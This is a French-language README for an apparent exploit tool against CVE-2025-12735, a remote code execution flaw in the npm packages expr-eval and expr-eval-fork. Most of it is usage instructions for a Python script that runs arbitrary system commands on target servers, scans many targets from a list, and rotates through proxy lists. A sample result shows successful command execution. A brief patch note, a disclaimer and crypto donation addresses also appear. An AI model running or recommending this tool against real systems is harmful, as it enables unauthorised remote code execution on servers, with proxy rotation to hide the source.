
Outil de recherche en sécurité pour détecter et tester la CVE-2025-12735 (vulnérabilité RCE dans expr-eval)
Un outil de recherche en sécurité pour détecter et tester la vulnérabilité CVE-2025-12735 dans les paquets npm expr-eval et expr-eval-fork.
Cet outil est destiné uniquement à des tests de sécurité autorisés et à des fins éducatives. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test.
CVE-2025-12735 est une vulnérabilité critique d'exécution de code à distance (RCE) dans les paquets npm expr-eval et expr-eval-fork. Cette vulnérabilité permet à un attaquant de définir des fonctions arbitraires dans l'objet context utilisé par l'analyseur syntaxique, permettant l'injection de code malveillant qui exécute des commandes système.
Score CVSS : 9,8 (Critique)
Versions affectées : expr-eval-fork < 3.0.0
expr-eval-fork v3.0.0+
# Clonez le dépôt
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Installez les dépendances
pip install -r requirements.txt
# Rendre le script exécutable (optionnel)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Téléchargez le script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Installez les dépendances
pip install requests
# Cible unique
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Exécuter une commande personnalisée
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Plusieurs cibles depuis un fichier
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# Avec thread pour un scan plus rapide
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Sortie verbeuse pour débogage
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Proxy unique
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Plusieurs proxys depuis un fichier
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url URL cible
-f, --file Fichier contenant les URL cibles (une par ligne)
-c, --command Commande à exécuter (par défaut : id)
-t, --threads Nombre de threads (par défaut : 1)
-o, --output Fichier de sortie (par défaut : uknf_expr_eval_results.json)
-v, --verbose Activer les logs détaillés
--proxy URL du proxy (ex : http://127.0.0.1:8080)
--proxy-list Fichier contenant les URL des proxys (une par ligne)
Le script génère un fichier JSON avec les résultats détaillés :
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Si vous utilisez expr-eval ou expr-eval-fork :
Mettez à jour immédiatement :
npm install expr-eval-fork@latest
Appliquez le correctif de sécurité :
Implémentez la validation des entrées :
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Créez un fichier de cibles
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Lancez le scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Proxy unique
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Plusieurs proxys depuis un fichier
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
Les contributions sont les bienvenues ! N'hésitez pas à soumettre une Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si vous rencontrez des problèmes ou avez des suggestions, veuillez ouvrir un problème (issue) sur GitHub.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Si vous trouvez cet outil utile, pensez à lui donner une étoile sur GitHub !
Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Les auteurs ne sont pas responsables de toute mauvaise utilisation ou des dommages causés par ce programme. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant de tester un système.
Si vous trouvez cet outil utile et souhaitez soutenir le projet :
Bitcoin (BTC) :
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH) :
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
Merci pour votre soutien ! 🙏